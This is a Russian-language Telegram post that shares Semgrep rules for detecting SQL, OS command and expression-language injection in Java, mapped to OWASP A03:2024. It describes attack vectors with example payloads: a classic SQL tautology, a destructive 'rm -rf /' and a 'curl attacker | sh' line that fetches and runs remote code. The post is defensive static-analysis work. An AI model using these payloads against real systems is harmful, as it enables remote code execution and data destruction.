Semgrep Rules OWASP A03:2024 – Injection (SQL/OS/Expression)
23 января 2026 г.·237 views

🛠 Semgrep Rules OWASP A03:2024 – Injection (SQL/OS/Expression)

Салют,

Cегодня хочу поделиться с тобой правилами для semgrep по иньекциям по OWASP A03:2024.

Думаю, что буду периодами приводить примеры для возможности их доработки и переиспользования.

Инъекции — класс уязвимостей, где данные попадают в интерпретатор как часть команды или запроса с изменением смысла. Возникает уязвимость, когда приложение не валидирует ввод, а также строит динамические запросы конкатенацией строк. Уязвимость использует данные напрямую в интерпретаторах без параметризации и экранирования. Конкатенация строк — это соединение строк в одну без изменения содержимого.

Типичные векторы атаки A03

1. SQL‑инъекция: SQL‑фрагмент в параметр запроса, тело, cookie или заголовок (SELECT * FROM users WHERE id = ' + id + ' , где id=' OR '1'='1 и запрос возвращает все записи и дает возможность их изменения

2. OS Command Injection: ввод попадает в ОС с выполнением Runtime.exec , ProcessBuilder , system() , sh -c и т.п. То есть дописываем ; rm -rf / или && curl attacker | sh , добиваясь удалённого исполнения команд на сервере

3. Expression / EL / OGNL‑инъекция: подстановка ввода в движок и его исполнение. То есть выражение обращается к произвольным объектам, либо вызывает метод, читает файлы, выполняет команды и т.д. Принцип: ввод меняет структуру команды/ запроса, а интерпретатор выполняет иную операцию

Пример правил Semgrep по A03:2024

- id: java-sqli-concat-critical

languages: [java]

severity: CRITICAL

message: |

OWASP A03:2024 (Injection) — возможная SQL-инъекция через конкатенацию

строк. Используйте PreparedStatement с параметрами.

patterns:

- pattern: |

$STMT = $CONN.createStatement();

...

$STMT.executeQuery("SELECT " + $VAR);

- pattern: |

$STMT = $CONN.createStatement();

...

$STMT.execute("SELECT " + $VAR);

- pattern: |

$STMT = $CONN.createStatement();

...

$STMT.executeUpdate("SELECT " + $VAR);

paths:

include:

- "**/*.java"

metadata:

owasp_top_10_2024: ["A03:2024-Injection"]

cwe: ["CWE-89"]

likelihood: "HIGH"

impact: "HIGH"

- id: java-sqli-prepared-misuse-high

languages: [java]

severity: HIGH

message: |

OWASP A03:2024 (Injection) — PreparedStatement.

Используйте плейсхолдеры '?' и setXxx().

pattern: |

PreparedStatement $PSTMT = $CONN.prepareStatement("SELECT " + $VAR + " FROM " + $TABLE);

paths:

include:

- "**/*.java"

metadata:

owasp_top_10_2024: ["A03:2024-Injection"]

cwe: ["CWE-89"]

likelihood: "MEDIUM"

impact: "HIGH"

- id: java-os-command-injection-runtime

languages: [java]

severity: CRITICAL

message: |

OWASP A03:2024 (Injection) — возможная командная инъекция через

Runtime.getRuntime().exec()

patterns:

- pattern: |

Runtime.getRuntime().exec($CMD);

- pattern: |

Runtime.getRuntime().exec(new String[] { $A, $B, $C });

paths:

include:

- "**/*.java"

metadata:

owasp_top_10_2024: ["A03:2024-Injection"]

cwe: ["CWE-78"]

likelihood: "HIGH"

impact: "CRITICAL"

- id: java-expression-language-injection

languages: [java]

severity: HIGH

message: |

OWASP A03:2024 (Injection) — динамическая компиляция/ выполнение выражений.

patterns:

- pattern: |

new org.springframework.expression.spel.standard.SpelExpressionParser()

.parseExpression($EXPR).getValue($CTX);

- pattern: |

$ENGINE.eval($EXPRESSION);

paths:

include:

- "**/*.java"

metadata:

owasp_top_10_2024: ["A03:2024-Injection"]

cwe: ["CWE-94"]

#toolchain #sast #appsec #course #reco #techsolution

#toolchain#sast#appsec#course#reco#techsolution
Открыть в Telegram